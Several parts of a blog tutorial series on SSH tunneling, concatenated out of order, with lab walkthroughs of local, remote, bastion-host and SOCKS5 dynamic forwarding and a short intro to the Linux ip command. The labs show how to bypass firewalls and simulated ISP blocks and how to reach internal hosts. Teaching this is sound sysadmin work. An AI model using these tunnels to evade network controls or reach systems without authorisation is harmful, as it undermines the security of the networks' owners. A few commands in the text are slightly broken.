
• The webserver server (192.168.60.11 ) that I can connect to via SSH.

Instead of keeping this abstract, the diagram below shows how dynamic port forwarding works end to end, from the local SOCKS proxy to the SSH server and out to the destination requested by the application.

NOTE:

If you skipped the first part or haven’t set up the lab yet, the GitHub repository includes the full setup so you can start from here.

Simulating a Network Restriction

But first let’s do some house cleaning and disable the firewall on the webserver so that we don’t have any issues when testing the dynamic tunnel.

This ensures that any failure we see comes from the client side restrictions, not from the SSH server itself. So, on the webserver run:

$ sudo ufw disable

With the server ready, we can now introduce the real problem dynamic forwarding is meant to solve.

Now let’s pretend that our ISP is blocking access us from accessing websites, so if we try to curl google.com from the client machine, it will fail, to simulate that, we can configure a firewall to block all outgoing http and https traffic on the client machine:

$  sudo ufw deny out 443
$  sudo ufw deny out 80

$ sudo ufw allow ssh

$ sudo ufw enable

$ sudo ufw status

Our firewall is now blocking all outgoing http and https traffic. Let’s confirm that by trying to curl google.com from the client machine:

$ curl --max-time 5 http://www.google.com

As expected it failed.

At this point, the client machine has no direct path to the web, which makes it a perfect candidate for a dynamic SSH tunnel.

Creating the Dynamic SSH Tunnel

To bypass this restriction, SSH needs to listen locally and behave like a SOCKS proxy. That’s exactly what dynamic port forwarding does.

$ ssh -D user@ssh_server

This tells SSH to open a SOCKS5 proxy on .

A common choice is port 1080. To establish the dynamic tunnel, run the following command on the client machine:

$ ssh -N -D 1080 vagrant@webserver

After running this command, your laptop now has a proxy available at:

localhost:1080

Any application configured to use that proxy will send its traffic through the SSH connection to 192.168.60.11 (webserver), and from there out to the internet, or to whatever networks the SSH server can reach.

From SSH’s point of view, it’s no longer forwarding traffic to a single destination, it’s forwarding requests.

Testing the SOCKS Proxy

Instead of reconfiguring a browser, we’ll use curl so we can see the effect directly from the command line.

Let’s test out this out.

We can tell curl to use the SOCKS5 proxy at localhost:1080 like this:

$ curl --socks5 localhost:1080 http://www.google.com

And voila! We have successfully accessed google.com through the dynamic SSH tunnel. The traffic was routed from our curl command to the SOCKS5 proxy at localhost:1080, then through the SSH connection to the webserver, and finally out to the internet.

What Makes Dynamic Forwarding Different?

Now that we’ve seen it working, it’s worth stepping back and looking at what makes this type of tunnel fundamentally different from the others.

Unlike traditional port forwarding, which sends traffic to a single destination, dynamic forwarding is flexible. It adapts based on whatever the application is trying to reach, making it a powerful tool when dealing with filtered networks, restricted environments, or cases where you want a single encrypted path to carry multiple types of traffic at once.

As I mentioned earlier, dynamic port forwarding creates a SOCKS5 proxy on your local machine. Applications that support SOCKS proxies can send their traffic through this proxy, and SSH will forward that traffic to its intended destination based on the requests, but you have to explicitly configure the application to use the SOCKS5 proxy. If you want to route all your system’s traffic through the SSH tunnel, you would need to set up a system-wide proxy or use tools like Proxychains or Redsocks to redirect traffic through the SOCKS proxy. For system wide proxy simply go to your networks settings and configure the type of proxy you want to use, either http, https or socks5 (which ssh dynamic forwarding uses) and set the proxy address to localhost and port to 1080 (or whatever port you used when establishing the dynamic tunnel).

Choosing the Right Tunnel for Each Situation

All SSH tunnels use the same underlying mechanism, but the problem they solve depends entirely on where traffic needs to go and where it should appear to come from.

Once you’ve seen how each type of tunnel behaves, the real value comes from knowing when to use each one. All SSH tunnels rely on the same encrypted connection, but they solve very different problems depending on the direction of traffic and the layout of the network around you.

• Local port forwarding fits naturally when you want to reach something hidden behind the SSH server. If the SSH server can see a service that you cannot, whether it’s a private database, an internal API, or another machine in a protected subnet, local forwarding gives your laptop a direct line to it. From your application’s perspective, the service appears to be running on your own machine, even though the SSH server is quietly handling all the forwarding work.

• Remote port forwarding addresses the opposite scenario. Sometimes you’re running something locally, perhaps a development server or a support tool, that a remote system cannot reach because you’re behind NAT or a strict firewall. Opening a port on the remote machine and routing that traffic back to your laptop allows others to access your local service without you needing to expose it to the wider internet.

• The SSH proxy tunnel extends the idea of local forwarding into networks with multiple layers. Instead of connecting only to the SSH server, your traffic continues deeper into another machine that only the SSH server can reach. This makes it perfect for environments with bastion hosts, internal-only services, or cloud networks where the public-facing server is deliberately isolated from the private systems behind it.

• Dynamic forwarding takes a more general approach. Instead of targeting a single service, it acts as a flexible SOCKS proxy that applications can send any request through. If you want your traffic to originate from the SSH server’s network, or you need a simple way to move multiple types of application traffic through one encrypted path, dynamic forwarding becomes the most convenient choice.

Each tunnel follows a specific pattern, and once you understand what direction the traffic must move, and where it needs to appear to come from, picking the right method becomes straightforward.

Thanks for reading!

If you enjoyed this content, don’t forget to leave a comment, like ❤️ and subscribe to get more posts like this every week.

Instead of forwarding traffic directly to the SSH server, we forward it through a machine that sits between you and the actual target. This intermediate machine is commonly known as a bastion host.

SSH Proxy Tunnel (Forwarding Through an Intermediate Server)

So here is how it looks like, one machine is exposed to the outside world, while the internal systems sit protected behind it. For most of the part, you can only reach the bastion host directly. The internal systems are hidden away, inaccessible from the public internet. Since the bastion host has access to those internal systems, it becomes our gateway into the private network. So we can make use of ssh local port forwarding to reach those internal systems through the bastion host.

So here is how it works: you open a local port on your laptop, just like standard local forwarding. But instead of sending that traffic directly to the SSH server, you tell SSH to forward it further into the internal network, to a machine that only the bastion host can reach.

To make this clearer, here’s a visual representation of how local port forwarding works when a bastion host sits between you and the internal machine:

Let’s demonstrate this in the lab.

Lab Setup

So for this I have setup 3 machines:

• The client machine (192.168.56.10 ) where I’ll run my SSH command and open the tunnel.

• The bastion host (192.168.56.11) which I’ll connect to via SSH.

• The internal machine (192.168.57.11) that I want to reach through the bastion host.

NOTE:

If you skipped the first part or haven’t set up the lab yet, the GitHub repository includes the full setup so you can start from here.

Verifying Connectivity

The internal machine is running a simple webserver on port 80. From the client machine, we cannot reach the internal machine directly. Let’s confirm that by trying to curl the internal machine from the client:

$ vagrant ssh client
$ curl --max-time 5 http://192.168.57.11

As you expected, the connection times out because the internal machine is not reachable from the client machine. Now, let’s set up the SSH proxy tunnel through the bastion host to reach the internal machine.

Creating the SSH Proxy Tunnel

The syntax looks identical to normal local port forwarding:

$ ssh -L <local_port>:<remote_host>:<remote_port> user@bastion_host

The difference lies in what remote_host is. Instead of pointing to the SSH server itself, it points to a third machine beyond it, something your laptop cannot reach, but the SSH server can.

To establish the tunnel, run the following command on the client machine:

$ ssh -N -L 8888:192.168.57.11:80 vagrant@bastion

In this setup:

bastion (192.168.56.11) is the SSH server you connect to

192.168.57.11 is the internal machine we want to actually reach to.

Port 8888 on your laptop becomes the entry point for all traffic

Once the tunnel is active, we can open a new terminal window on the client machine to test the tunnel. First, let’s confirm that the ssh tunnel is listening on port 8888:

$ sudo lsof -i :8888

Great! The ssh process is listening on both IPv4 and IPv6 localhost on port 8888. This confirms that our SSH proxy tunnel is active and ready to use.

In the new terminal window, lets try to access the internal machine through the tunnel by sending a request to localhost:8888 on the client machine:

$ curl http://localhost:8888

Fantastic! We have successfully accessed the internal machine through the SSH proxy tunnel. The traffic was forwarded from our local port 8888 to the internal machine’s port 80 via the bastion host.

is equivalent to visiting:

$ vagrant ssh bastion
$ curl http://192.168.57.11

from the bastion server’s point of view.

Even though your laptop has no route to the 192.168.57.11 host, the bastion server does, and that’s enough. The bastion server becomes your bridge into the internal network, quietly passing traffic through without exposing any ports publicly.

This pattern is common in cloud setups, corporate networks, and environments where internal services must stay hidden. Instead of modifying firewalls or configuring VPNs, you rely on the one machine you’re allowed to access and let SSH handle the rest.

This not all you can do with ssh tunnels, the world is your oyster, it all depends on your creativity and use case, so don’t be limited to think outside the box. You can also reverse this setup and do remote port forwarding through a bastion host as well, but I will leave that as an exercise for you to try it out yourself.

If you’re curious what that reversed setup looks like in practice, here’s a diagram showing remote port forwarding through a bastion host:

This is not covered in this part, but the diagram can help you visualise how the reverse flow works.

Looking Ahead

Proxy tunneling gives you a way to reach systems that sit deeper inside a private network, but SSH has one more trick up its sleeve. In the next part, we’ll explore Dynamic Port Forwarding and see how SSH can act as a SOCKS5 proxy, letting your applications decide where their traffic should go.

Thanks for reading!

If you enjoyed this content, don’t forget to leave a comment, like ❤️ and subscribe to get more posts like this every week.

In this part, we’ll flip the direction. Instead of pulling traffic toward the client, we’ll look at remote port forwarding, where the remote machine opens a port and sends traffic back to your local system.

Understanding Remote Port Forwarding

Remote port forwarding works in the opposite direction of local forwarding. Instead of opening a port on your laptop and sending traffic into a remote network, you open a port on the remote machine and send traffic back to your laptop. This is useful when your laptop is running a service that the remote side cannot reach directly, maybe because you’re behind NAT, a firewall, or you simply don’t have a public IP.

A classic example is when you’re developing a web application locally and want someone else to access it. Take James, for instance. He’s been building a website on his laptop and wants to show it to his colleague Kay. The problem? James is sitting behind a private network with no public IP, and incoming connections to his laptop are blocked. Kay has no direct way of reaching James’s machine, and James doesn’t have the time or desire to deploy the site to a public server just for a quick preview.

What James can do, however, is spin up a temporary server on the cloud, something both of them can reach, and use SSH remote port forwarding to expose his local website through that server. The cloud VM opens a port, and anything sent to that port is quietly tunneled back to James’s laptop. From Kay’s perspective, the website looks like it’s being served from the cloud, even though it’s actually running on James’s machine at home. This will make more sense in the lab, so let’s jump right another lab.

Lab Setup

So for this I have setup 3 machines:

• james-lap (192.168.70.10) - James’s laptop where the web application is running locally on port 80.

• aws-pub-instance (192.168.70.10 and 192.168.80.20) - A cloud VM that both James and Kay can access. This machine will act as the SSH server for remote port forwarding.

• kay-pc (192.168.80.10) - Kay’s computer from which she wants to access James’s local web application.

Notice the aws-pub-instance has two network interfaces, one connected to James’s network (192.168.70.0/24) and the other connected to Kay’s network (192.168.80.0/24). This setup allows both James and Kay to reach the aws-pub-instance. Normally, a cloud VM would have a normally single public IP address, but for the sake of this lab, we are simulating the cloud environment using private IPs.

NOTE:

If you skipped the first part or haven’t set up the lab yet, the GitHub repository includes the full setup so you can start from here.

Verifying Connectivity

Both kay and james cannot directly reach each other due to network restrictions, but they can both access the aws-pub-instance. which we can confirm by pinging from both sides: From james-lap:

$ vagrant ssh james-lap
$ ping aws-pub-instance
$ ping kay-pc

from kay-pc:

$ vagrant ssh kay-pc
$ ping aws-pub-instance
$ ping james-lap

As you can see, both James and Kay can reach the aws-pub-instance, but they cannot reach each other directly. and Also just to be sure that james’s local web application is running, let’s curl it from james-lap:

$ curl localhost

Great! The web application is up and running on James’s laptop. Now, let’s set up the remote port forwarding from james-lap to aws-pub-instance.

Creating the Remote SSH Tunnel

The syntax looks similar to local port forwarding, but with the -R option and reversed order of ports:

$ ssh -N -R <remote-address>:<remote_port>:<local_address>:<local_port> user@remote_public_ssh_server

Again we will break this down in a bit, but for now, let’s run the command on james-lap to create the remote tunnel:

$ ssh -N -R localhost:8080:localhost:80 vagrant@aws-pub-instance

Ok, now let’s explain the syntax:

• -R indicates that we are setting up remote port forwarding.

• localhost:8080 specifies that we want to open port 8080 on the remote machine (aws-pub-instance). In other words, we are telling the aws-pub-instance to listen on port 8080 on its localhost ip (127.0.0.1) for incoming connections.

• localhost:80 indicates that any traffic sent to localhost:8080 (on aws-pub-instance) should be forwarded to localhost port 80 on james-lap.

• user@remote_public_ssh_server is the SSH server we are connecting to, which in this case is the aws-pub-instance itself.

• -N indicates that we do not want to execute any commands on the remote server. We just want to set up the tunnel.

Notice again, I explicitly specified localhost for the remote port binding. This means that the aws-pub-instance will only listen for connections on its loopback interface (127.0.0.1), but you can ommit localhost and just specify 8080, and it will have the same effect. By default, SSH binds to the loopback interface (localhost) unless you specify a different ip address to listen on.

Now you understand this command, let’s run it on james-lap to establish the remote tunnel and see what happens, but this time I’m going to ommit the localhost part and just specify 8080 for the remote port binding:

$ ssh -N -R 8080:localhost:80 vagrant@aws-pub-instance

Confirming the Remote Port Binding

With our remote tunnel established, let’s confirm that the aws-pub-instance is indeed listening on port 8080:

$ vagrant aws-pub-instance
$ sudo lsof -i :8080

As you can see, the sshd process is listening on both IPv4 and IPv6 localhost on port 8080 (http-alt). This confirms that our remote port forwarding is active and ready to use.

NOTE

With remote port forwarding, the remote server you connect to (in this case aws-pub-instance) is the machine that opens a port and listens for incoming connections. Any traffic it receives on that port is then sent back to your local machine.
In local port forwarding, it’s the opposite direction: your computer opens and listens on a port, and any incoming traffic is forwarded to the remote host.

So as you might have guessed by now, if we run curl on aws-pub-instance to access localhost:8080, it should forward the request back to james-lap’s localhost:80 and return the web application:

$ curl localhost:8080

Fantastic! We have successfully accessed James’s local web application through the remote port forwarding tunnel. The traffic was forwarded from aws-pub-instance’s port 8080 to james-lap’s port 80 via the SSH connection. But remember, since we bound the remote port to localhost (127.0.0.10) on aws-pub-instance, only connections originating from aws-pub-instance itself can reach that port.

So that means kay-pc cannot access james’s local web application through the tunnel. If we try to curl localhost:8080 from kay-pc, it will fail:

$ curl --max-timeout  localhost:8080

Makes sense, we cannot curl to ourself and expect to reach another machine. Ok, you might be wondering, what if we can just use the public IP or hostname of aws-pub-instance from kay-pc to reach the remote port? Well, that won’t work either because we bound the remote port to localhost (127.0.0.1) on aws-pub-instance. Let’s try it out:

$ curl --max-time 5 aws-pub-instance:8080

It didn’t work again. The reason is that by binding the remote port to localhost, we restricted access to that port to only connections originating from aws-pub-instance itself. So can safely well can just give kay access to aws-pub-instance and let her curl localhost:8080 from there to reach james’s local web application, which works, but for some reasons or security you don’t want kay to have access to the aws-pub-instance.

So what’s the solution?

As I mentioned in last part, by default SSH binds to the loopback interface (localhost) unless you specify a different ip address to listen on. So if we want kay-pc to access the remote port, we need to bind it to 0.0.0.0 (all interfaces) on aws-pub-instance or a specific ip address that kay uses to communicate with the aws public instance. This way, the remote port will be accessible from any machine that can reach aws-pub-instance, including kay-pc.

Alright, let’s terminate the existing ssh session on james-lap and re-establish the remote tunnel, this time binding the remote port to 0.0.0.0.

$  ssh -N -R 0.0.0.0:8080:localhost:80 vagrant@aws-pub-instance

With tunnel re-established, let’s confirm that the aws-pub-instance is now listening on all interfaces for port 8080:

$ sudo lsof -i :8080

Suprisingly, the output looks the same as before, ssh is still listening on localhost:8080, so its not going to work again. There is one more step we need to do, we need to modify the sshd_config file on aws-pub-instance to allow ssh tunnels to bind to non-loopback interfaces.

Enabling GatewayPorts

By default, sshd_config has a setting called GatewayPorts which is set to no, this prevents any ssh tunnels from binding to non-loopback interfaces.

Which we can confirm by running:

$ sudo sshd -T | grep gatewayports

The default value is no, which means remote port forwarding can only bind to localhost (127.0.0.1). To allow remote port forwarding to bind to non-loopback or all interfaces, we need to set GatewayPorts to yes. If you want to bind to a specific interface, you can set GatewayPorts to clientspecified, which allows the client to specify the ip address to bind to when establishing the remote tunnel. Let me explain the difference between the two:

If gatewayports is set to yes and we run the following command on james-lap:

$ ssh -N -R 8080:localhost:80 vagrant@aws-pub-instance

The remote port 8080 will be bound to all interfaces (0.0.0.0). So this is the same as explicitly specifying 0.0.0.0:8080.

If we try to run the following command on james-lap instead:

$ ssh -N -R 192.168.80.20:8080:localhost:80 vagrant@aws-pub-instance

Notice we put the ip kay can use to reach aws-pub-instance (192.168.80.20). But if gatewayports is set to yes, the remote port 8080 will still be bound to all interfaces (0.0.0.0). So other case you might want ssh to respect the ip address you specified when establishing the remote tunnel, in that case you would set gatewayports to clientspecified. So with gatewayports set to clientspecified, the remote port 8080 will be bound to 192.168.80.20.

With that out of the way, let’s edit the sshd_config file so that can allow remote port forwarding to bind to non-loopback interfaces. On aws-pub-instance, run the following commands:

$ echo “GatewayPorts yes” | sudo tee -a /etc/ ssh/sshd_config.d/99-overrides.conf
$ sudo systemctl restart sshd
$ sudo sshd -T | grep gatewayports

NOTE
You may notice the space in the path (/etc/ ssh/sshd_config.d/99-overrides.conf). I added it intentionally because Substack kept throwing an error whenever I wrote the full path without the space. The actual path on the system has no space.

The first command appends the GatewayPorts yes setting to a new configuration file in the sshd_config.d directory. The second command restarts the sshd service to apply the changes. The third command confirms that the GatewayPorts setting is now set to yes. You can have directly edited the main sshd_config file located at /etc /ssh/sshd_config, but its a good practice to put custom overides configurations in separate files inside the sshd_config.d directory for modularity and easier management.

Now that we have updated the sshd_config file, let’s re-establish the remote tunnel from james-lap:

$ ssh -N -R :8080:localhost:80 vagrant@aws-pub-instance

As always we confirm that the aws-pub-instance is listening on port 8080:

$ sudo lsof -i :8080

As you can see, the sshd process is now listening on all interfaces (*) on port 8080 (http-alt). This confirms that our remote port forwarding is now accessible from any machine that can reach aws-pub-instance, including kay-pc.

Accessing the Tunnel from Kay’s Machine

Finally, let’s try to access James’s local web application from kay-pc by sending a request to aws-pub-instance’s IP address on port 8080:

$ curl aws-pub-instance:8080

And just like that, we have successfully accessed James’s local web application from Kay’s computer through the remote port forwarding tunnel. The traffic was forwarded from aws-pub-instance’s port 8080 to james-lap’s port 80 via the SSH connection. Below is a diagram that shows how everything is connected together:

This becomes useful when your local system is behind NAT or a strict firewall that blocks incoming connections. With remote forwarding, you make your machine reachable from the outside without configuring routers or exposing anything publicly.

Looking Ahead

Remote port forwarding solves the opposite problem of local forwarding, but there’s still more SSH can do. In the next part, we’ll look at how to reach machines hidden behind another server by using SSH as a proxy through a bastion host.

Thanks for reading!

If you enjoyed this content, don’t forget to leave a comment, like ❤️ and subscribe to get more posts like this every week.

Subscribe now

This becomes incredibly useful once you start dealing with servers behind firewalls, private subnets, or NAT boundaries. A service might be running somewhere in the network, but you have no direct way of reaching it. With SSH tunneling, you don’t need to expose ports publicly or ask for firewall changes, you simply reuse the SSH connection you already have.

Think of an SSH session as a secure pipe. Normally, you use it to send commands. But that same pipe can carry anything: database requests, web traffic, API calls, as long as it’s TCP. SSH gives you the flexibility to redirect that traffic in different directions depending on what you need to reach.

At first, SSH tunnels feel confusing. That’s normal. Many admins and developers struggle with them until they see them demonstrated in real scenarios and work through them hands-on. That’s the goal of this series: to break down SSH tunneling into clear, practical parts, each one supported by labs you can run on your own machine. All the lab files are available in the GitHub repository.

This series will cover the four major types of SSH tunnels:

• Local Port Forwarding

• Remote Port Forwarding

• Proxy Tunneling through a Bastion Host

• Dynamic Port Forwarding (SOCKS5)

Each part focuses on one pattern, explains when it’s useful, and walks you through a complete lab environment that demonstrates the behaviour step by step.

In this first part, we’ll start with the most familiar one, Local Port Forwarding, and see how a simple SSH connection can give you access to services that would normally be unreachable.

Local Port Forwarding

Local port forwarding is usually the first tunneling feature people encounter because it feels intuitive: you open a port on your own machine, and any traffic you send to that port gets delivered to a service running somewhere else. Nothing about the service changes. It still listens on its normal port, on its own network, but your laptop gains a private, encrypted shortcut straight to it.

A useful way to think about local forwarding is to imagine you’re standing outside a building. You can’t walk in, but you can open a small window on your side and slide data through it. SSH takes whatever goes into that window and carries it to the room you specify inside the building. From your local machine’s point of view, the service looks like it’s running right on your laptop, even if it’s actually behind several layers of restrictions.

One common situation where a local tunnel becomes invaluable is when you’re on a network where a server allows SSH access but blocks everything else, no HTTP, no HTTPS, nothing. Maybe the service you need is a website running on port 80 or 8080, but the firewall won’t let you reach it directly. Instead of requesting firewall changes or exposing the service publicly, you simply open an SSH local tunnel. Your HTTP traffic then rides inside the encrypted SSH connection and reaches the webserver without being blocked.

Let’s jump into the lab and see this in action.

Lab Setup

I have two machines set up:

• Client – 192.168.60.10 (this is where I’ll run my SSH command)

• Webserver – 192.168.60.11 (this machine is running a simple website and allows SSH access)

For now, the client can still access the webserver directly over HTTP. We’ll simulate a firewall blocking this access shortly. But first, let’s confirm the webserver is actually reachable, from the client run:

$ vagrant ssh client
$ curl http://webserver

As you can see, the webserver responds normally.

Simulating a Firewall Block

Now, let’s block all incoming traffic on the webserver except SSH. We’ll do this by setting a simple firewall rule on the webserver:

$ vagrant ssh webserver
$ sudo ufw allow ssh
$ sudo ufw enable

I allowed SSH before enabling the firewall. The reason is simple: when UFW is enabled, any traffic that doesn’t match an allow rule is blocked by an implicit deny at the bottom of the rule list. If we enabled the firewall first without allowing SSH, we would lock ourselves out. By allowing SSH beforehand, we make sure we can still access the machine.

Let’s confirm that the firewall is active:

$ sudo ufw status

Our firewall is now running. If we try accessing the webserver over HTTP again from the client, it should fail:

$ curl --max-time 5 http://webserver

As expected, the connection times out because the firewall is blocking HTTP traffic.

NOTE:

I added the --max-time 5 option to the curl command to prevent it from hanging indefinitely while waiting for a response. This is useful here because we know the connection will fail due to the firewall rule.

Creating the Local SSH Tunnel

Since we still need to reach the webserver, let’s set up a local SSH tunnel. This will forward a local port on the client machine directly to the webserver’s HTTP port through the existing SSH connection.

Now let’s set up the client, but before we run the command, here’s the syntax for local port forwarding:

$ ssh -L <local_host>:<local_port>:<remote_host>:<remote_port> user@remote_ssh_server

We’ll break this down properly in a moment. For now, let’s run the actual command on the client to create the tunnel:

$ ssh -N -L localhost:8080:localhost:80 vagrant@webserver

This is a good time to explain what each part means:

• -L tells SSH that we’re setting up local port forwarding.

• localhost:8080 means we want to open port 8080 on our local machine (the client).

• localhost:80 means that any traffic sent to localhost:8080 on the client should be forwarded to localhost on port 80 on the webserver from the webserver’s perspective.

• vagrant@webserver is simply the SSH server we’re creating the tunnel to, which in this case is the webserver itself.

You also probably noticed the -N option:

• -N tells SSH not to execute any remote commands. We only want the tunnel, not a remote shell.

If we removed -N, SSH would log us into a shell session after establishing the tunnel, which isn’t what we want here. We only need the tunnel.

Once the tunnel is established, SSH appears to “hang”, but that’s normal. It’s not stuck; it’s simply waiting for traffic to arrive on port 8080.

So we switch to a new terminal window to test it.

Verifying the Tunnel

In the new terminal window, let’s confirm that SSH is listening on port 8080 on the client:

$ vagrant ssh client
$ lsof -i :8080

You can see that the SSH process is listening on both IPv4 and IPv6 localhost on port 8080 (http-alt). We can also confirm that the SSH connection to the webserver is active:

$ sudo ss -tnp | grep sshd

The first line shows the important part, our client (192.168.60.10) is connected to the webserver (192.168.60.11) over SSH. This confirms that the tunnel is active and ready.

Now, let’s try to access the webserver through the tunnel by sending a request to localhost:8080 on the client:

$ curl localhost:8080

And there we go, the tunnel works. The traffic was forwarded from our local port 8080 to the webserver’s port 80 via the SSH connection, bypassing the firewall restrictions.

Understanding the Two “localhost” Values

Before we move forward, there’s one point I really need to stress. A lot of people get confused about the two localhost values in the ssh -L command. So let’s clear that up properly.

The first localhost:8080 refers to your local machine, the client where you are running the SSH command. This is the port you are opening on your own computer. You can even simplify it and write just 8080 instead of localhost:8080:

$ ssh -N -L 8080:localhost:80 vagrant@webserver

It works the same way. When you don’t specify an address for the local bind, SSH automatically uses the loopback interface (localhost). This is because, by default, SSH local port forwarding listens only on the client’s loopback interface (127.0.0.1), so including localhost is optional. To bind to another interface on the client, you must explicitly specify its IP or use option -g. This is useful if you want other machines to access the forwarded port on your laptop.

For example, I will terminate the previous tunnel by pressint CTRL+C and run the following:

$ ssh -N -g -L 192.168.60.10:8080:localhost:80 vagrant@webserver

This will allow other machines on the same network to access port 8080 on your laptop (client). And the traffic will still be forwarded to the webserver’s port 80 via the SSH tunnel. Let’s test that using my host machine:

$ curl http://192.168.60.10:8080

And it works! The traffic is successfully forwarded through the SSH tunnel.

The second localhost:80 refers to the target (destination) machine from the perspective of the SSH server. In this case, the SSH server is the webserver, so localhost on that side means the webserver itself. If the service were running on a different machine behind the SSH server, then you would replace localhost with that machine’s hostname or IP address. You’ll see exactly how this works when we cover SSH tunneling through a bastion host.

Visualizing the Traffic Flow

It’s one thing to run the command and see it work, and another to picture how the traffic actually moves. This diagram breaks the flow down step by step, from the client listening on port 8080, through the SSH tunnel, and finally to the service running on the remote machine.

Quick Tip

When you create an SSH tunnel, the session normally sits in the foreground and keeps your terminal busy. If you don’t want that, you can send the tunnel straight to the background by adding the -f option:

$ ssh -f -N -g -L 192.168.60.10:8080:localhost:80 vagrant@webserver

The -f flag tells SSH to move itself into the background just before running the command. This is handy when SSH will still prompt for a password or passphrase, but you don’t want the tunnel occupying your terminal afterward.

The only difference is how you stop it. When you run a tunnel in the foreground, you can simply press CTRL + C to close it. But once it’s in the background, you need to terminate the process manually.

You can find the process ID of the tunnel like this:

$ lsof -i :8080

Note the PID from the output, then end the tunnel with:

kill <PID>

This cleanly shuts down the background SSH tunnel without affecting anything else.

Looking Ahead

What we’ve covered here is only the first piece of what SSH tunnels can do. Local port forwarding gives you a private path into a service behind the SSH server, but there are situations where the direction needs to be reversed.

In the next part of this series, we’ll look at that opposite pattern, Remote Port Forwarding, and see how it lets a remote machine reach something running on your local system, even if you’re behind NAT or a firewall.

Thanks for reading!

If you enjoyed this content, don’t forget to leave a comment, like ❤️ and subscribe to get more posts like this every week.

Subscribe now

ip is part of the iproute2 suite, included by default in all modern Linux distributions. It’s a powerful all-in-one tool for managing network interfaces, IP addresses, routes, and neighbor tables, replacing older utilities like ifconfig, route, and arp.

You’ll use it to bring interfaces up or down, assign addresses, inspect routes, create network namespaces and even manipulate neighbor (ARP) tables.

In this episode, we’ll focus on using the ip command to manage network interfaces, addresses, routes, and connections on a Linux system.

Peeking Inside the ip Command

Before we start experimenting, let’s look at how the ip command is structured.

ip [ OPTIONS ] OBJECT { COMMAND | help }

At first glance, this may look dense, but it’s actually straightforward once you understand the pattern. The structure is always:

1. Options – Extra flags that change how ip behaves globally.

2. Object – What part of the network you’re interacting with.

   Each object represents a kernel networking subsystem. Some common ones are:

   • link – network interfaces (Ethernet, Wi-Fi, loopback)

   • address – IPv4 or IPv6 addresses on those interfaces

   • route – entries in the routing table

   • neighbor – ARP or NDP neighbor cache

   • maddress – multicast memberships

   • rule – routing policy database

TIP

You can use short forms too: addr for address, r for route, l for link, and so on.

3. Command – The action you want to take on that object.

   Each object supports its own set of commands:

   • show or list – display information

   • add – create a new entry (address, route, etc.)

   • del – remove an entry

   • replace – update an existing one

   • help – display valid options and syntax


Managing Network Interfaces

Every network device in Linux, whether wired, wireless, or virtual, is represented by an interface. These interfaces are managed through the link object of the ip command.

When you use ip link, you’re listing and controlling the network interfaces recognized by the system.

Let’s start exploring.

Viewing All Interfaces

To see all interfaces currently recognized by your system, run:

ip link show

You’ll get output similar to:

Let’s decode that quickly:

• The number (1:, 2:) is the interface index.

• lo and enp0s3, enp0s8 are interface names.

• Flags inside < > describe capabilities and state (UP, BROADCAST, MULTICAST, etc.).

• mtu is the maximum transmission unit, the largest packet size the interface can handle.

• link/ether shows the MAC address (hardware address).

• The state tells whether the interface is currently up (active) or down.

NOTE

lo is the loopback interface, a virtual interface the system uses to talk to itself. It’s always present and usually stays up.

Sysxplore is an indie, reader-supported publication.
I break down complex technical concepts in a straightforward way, making them easy to grasp. A lot of research goes into every piece to ensure the information you read is as accurate and practical as possible.

To support my work, consider becoming a free or paid subscriber and join the growing community of tech professionals.

Subscribe now

Bringing an Interface Down

If you want to temporarily disable a network interface, use:

$ sudo ip link set dev enp0s8 down

This shuts down packet transmission and reception on enp0s8 (notice the state is DOWN). It’s useful when testing configurations or disabling a specific connection without unplugging cables or removing devices.

After running it, the interface will no longer appear in ip route show outputs because it’s considered inactive by the kernel. The routing table only displays routes from active interfaces.

Bringing an Interface Up

When you bring an interface up, you’re telling the system that the device should start transmitting and receiving packets.

$ sudo ip link set dev enp0s8 up

This sends a netlink request that transitions the enp0s8 interface to an UP state.

You can verify it:

$ ip  -c link show enp0s8

You should now see the UP flag and state UP in the output.

And also notice, the interface route is now showing in the routing table.

Renaming Interfaces

Linux lets you rename interfaces, which can be useful for creating clear and predictable names when working with multiple network connections or during troubleshooting.

Read more

Before moving on to network namespaces, it’s important to grasp a key concept: conta…

Read more

In the previous part, we explored what Linux namespaces are, the different types available, and how they’re used by containers.

In this part, we’ll continue where we left off and take a closer look at one of the most fundamental namespace types, the PID namespace.

As you already know, every process r…

Read more

Every process can see the same list of running programs, share the same network interfaces, and access the same filesystem hierarchy. If you open two terminals and run ps aux, both will display an identical process list because, at the kernel level, there’s only one global view o…

Read more